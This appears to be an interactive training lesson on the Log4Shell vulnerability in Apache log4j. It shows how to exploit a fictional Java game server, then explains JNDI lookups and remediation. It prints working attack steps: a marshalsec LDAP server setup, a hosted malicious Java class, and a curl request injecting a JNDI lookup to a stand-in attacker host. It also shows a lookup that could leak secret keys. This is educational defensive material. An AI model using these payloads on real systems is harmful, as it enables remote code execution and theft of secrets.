Log4Shell vulnerability
Protect your Log4j instances against malicious remote code execution (RCE)
Java
What is Log4Shell?
CVE-2021-44228, aka log4Shell, is an unauthenticated Remote Code Execution (RCE) vulnerability that affects almost all versions of Apache log4j version 2. On the 9th of December 2021, news of the zero-day spread across infosec communities along with a publicly available proof-of-concept (POC). It didnât take long to see the exploit being used in the wild by malicious actors, with evidence even suggesting exploitation of the bug starting before Apacheâs disclosure.
The impact of Log4Shell was not fully realized at first, at first glance it appeared to be a bug affecting Minecraft. Shortly after, security researchers caught on that the vulnerable component was the very widely used log4j. With Oracle reporting over 13 billion devices using java, the realization started to set in that this bug could have a much bigger impact than initially thought.
About this lesson
In this lesson, you will learn how to exploit log4shell, what it looks like under the hood, and how to secure your application. Weâll begin by exploiting this bug in a vulnerable Java-based game called âGeoKoreâ. After that, weâll learn more about what the log4shell bug looks like under the hood. Finally, weâll fix up the GeoKore application to prevent any further exploitation of the log4shell bug.
Ready to learn? Buckle your seat belts, put on your hacker's hat, and let's get started!
Hacking a game app!
GeoKore is a sweet pixel-art survival game created by a small group of developers as a passion project. Itâs a java-based game developed in the mid-2000s. It became a massive success after the development team decided to expand the game to be multiplayer, giving players the ability to socialize, trade, battle, and join other playersâ servers.
GeoKore uses Apacheâs log4j as its logging framework. Letâs see if we can exploit Log4Shell to execute code on one of the factions servers.
Setting up the LDAP server
First, we need to spin up a server that will return the following link: http://attacker.com/#exploit
Attacker.com is the domain where we will set up our HTTP and LDAP server. We need the HTTP server to host our malicious Java class, called âexploitâ and the LDAP server to redirect the victim GeoKore server to our payload.
We have a choice of spinning up a server using LDAP, DNS, CORBA, or RMI protocols, as they all interface with JNDI (Java Naming and Directory Interface), which is the vulnerable component of Log4J. Note that JNDI does not support the HTTP protocol, which is why we need both an LDAP and HTTP server. Weâll learn more about this later in the âunder the hoodâ section.
For this example, weâll spin up a precooked LDAP server from Github - mbechler/marshalsec:
To do so, copy and paste the following into the terminal below and hit enter:
mvn clean package -DskipTests && Java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://attacker.com/#exploit'
Setting up the HTTP server
Our HTTP Server is going to contain the malicious java class. For this example, weâre just going to spin up a simple python HTTP server. Attackers âin the wildâ would likely store their malicious java class on a more complicated command and control (C2) server where theyâd also set up a mechanism to get an interactive shell on the victim machine.
Have a look at the code by running: cat Exploit.java
in terminal. This code will temporarily shut down the server until the server owner manually turns their device back on.
In the directory containing our payload, run now the following command: python3 -m http.server 8080
. This will ensure our malicious java class is available for download at: http://attacker.com/#exploit
Triggering the exploit
In the âGeoKoreâ Game client we are able to select âMultiplayerâ mode. Selecting that game mode brings you to a screen with 4 âfactionâ servers to choose from: Fusehunt, Geopoint, Clusterblast, Masterdroid. Selecting any of them will open a chat screen with a âdisplay nameâ input box. We see that the client sends entered user name to http://geokore.com/game/start
.
Now you think, what if we inject ${jndi:ldap://attacker.com/a}
into the users name and send the request via CURL? This string will make its way to the server through a cookie called âuserâ. This will trigger a JNDI remote lookup, the response from ldap://attacker.com
will then contain a link to the HTTP server containing our payload.
Congratulations! Our malicious java class contained a command to stop running the GeoKore factionâs server. If we send a basic CURL, we can see that this server is not responding anymore!
curl -X POST --data "displayName=${jndi:ldap://attacker.com/a}" http://geokore.com/game/start && curl -I http://geokore.com
How does Log4j vulnerability work?
Apache log4j has a somewhat unique feature for a logging framework, called âlookupsâ, which provides a way for users to supply input on how their activity is logged. Lookups are denoted by variables wrapped up in â${....}â characters. These lookups simply allow for string replacements. It sounds relatively benign, but this can cause issues with compliance and potentially information leakage, as users can insert sensitive information such as environment variables and session tokens into the log files. For example, an environment lookup would look like this:
${env:AWS_SECRET_KEY}
Further to this issue and the main vulnerable component behind Log4Shell is JNDI lookups. The Java Naming and Directory Interface (JNDI) is the Java runtime feature often used legitimately by developers for querying data from local or remote services. Our example below shows how to insert an environment variable from the root context (i.e. application server like Tomcat):
${jndi:java:comp/env/AWS_SECRET_KEY}
It is important to note that JNDI out of the box provides the ability to perform remote requests via a variety of network protocols like LDAP or RMI. The example below demonstrates JNDI making a remote request to an LDAP server located at example.com:
${jndi:ldap://example.com/Foo}
The JNDI API includes support for the following naming and directory services:
- Lightweight Directory Access Protocol (LDAP)
- Common Object Request Broker Architecture (CORBA)
- Common Object Services (COS) name service
- Java Remote Method Invocation (RMI) Registry
- Domain Name Service (DNS)
This is why we had to set up an LDAP server to provide our initial remote lookup; JNDI doesnât support HTTP requests by default.
To exploit this functionality, all an attacker needs to do is find user-controlled input that will make its way into the logs. This will depend on the application, but a common injection method is through regularly logged HTTP headers such as the User-Agent or Referrer. In our application, it was simply the display name that was being logged. After injection, the victim server will then reach out to the attackerâs LDAP server, which then responds with the remote location of the malicious java class. Log4j then fetches and runs the java class, allowing for the execution of attacker-controlled code.
Impacts of Log4Shell
The simplicity of this exploit, as well as the ubiquitous nature of the library has had security professionals scrambling to respond since the bugâs disclosure. The full extent of the impact of this bug has not yet been realized but is expected to be an issue that will have a significant impact for years to come. Since its release, new variants of the exploit have been discovered rapidly, with over 60 mutations discovered in less than 24 hours at one point. One variation even included exporting environment variables such as AWS Secret keys to attacker-controlled DNS servers.
Is code injection common?
GeoKore uses the Apache Log4J2 Logging framework, specifically version 2.14.1. Unfortunately, Log4Shell affects almost all versions of Log4J2 from 2.0-beta9 to 2.14.1.
The original advice for mitigating Log4Shell was to upgrade to version 2.16, unfortunately a denial of service exploit has now been discovered in that version. The recommended advice is now to upgrade to version 2.17. There has been a lot of conflicting remediation advice floating around, but as a general practice, all dependencies in any project should be kept up to date and log4j is no exception. Using a tool like Snyk to automatically find and fix vulnerabilities like this will ensure youâre ahead of the curve when vulnerabilities like this come out.
For a deep dive into remediation recommendations, check out our Log4Shell Remediation Cheat Sheet. This sheet is continuously being updated as new information becomes available.
Test your knowledge!
Keep learning
To learn more about Log4j vulnerability aka Log4Shell, check out some other great content:
- Have a look at our Log4j vulnerability explained session that goes over some other examples of Log4Shell
- We all love cheatsheets, to check this one here, where you can read about Log4j vulnerability and how to prevent it
- Learn more on the impact of Log4Shell on the overall security domain from Simon Maple (CTO) and Guy Podjarny (Founder) on YouTube
- Last but not the least, if you loved the lesson, don't forget to check out our hands-on deep dive prepared by Micah Silverman (Director, DevSecOps Acceleration) on YouTube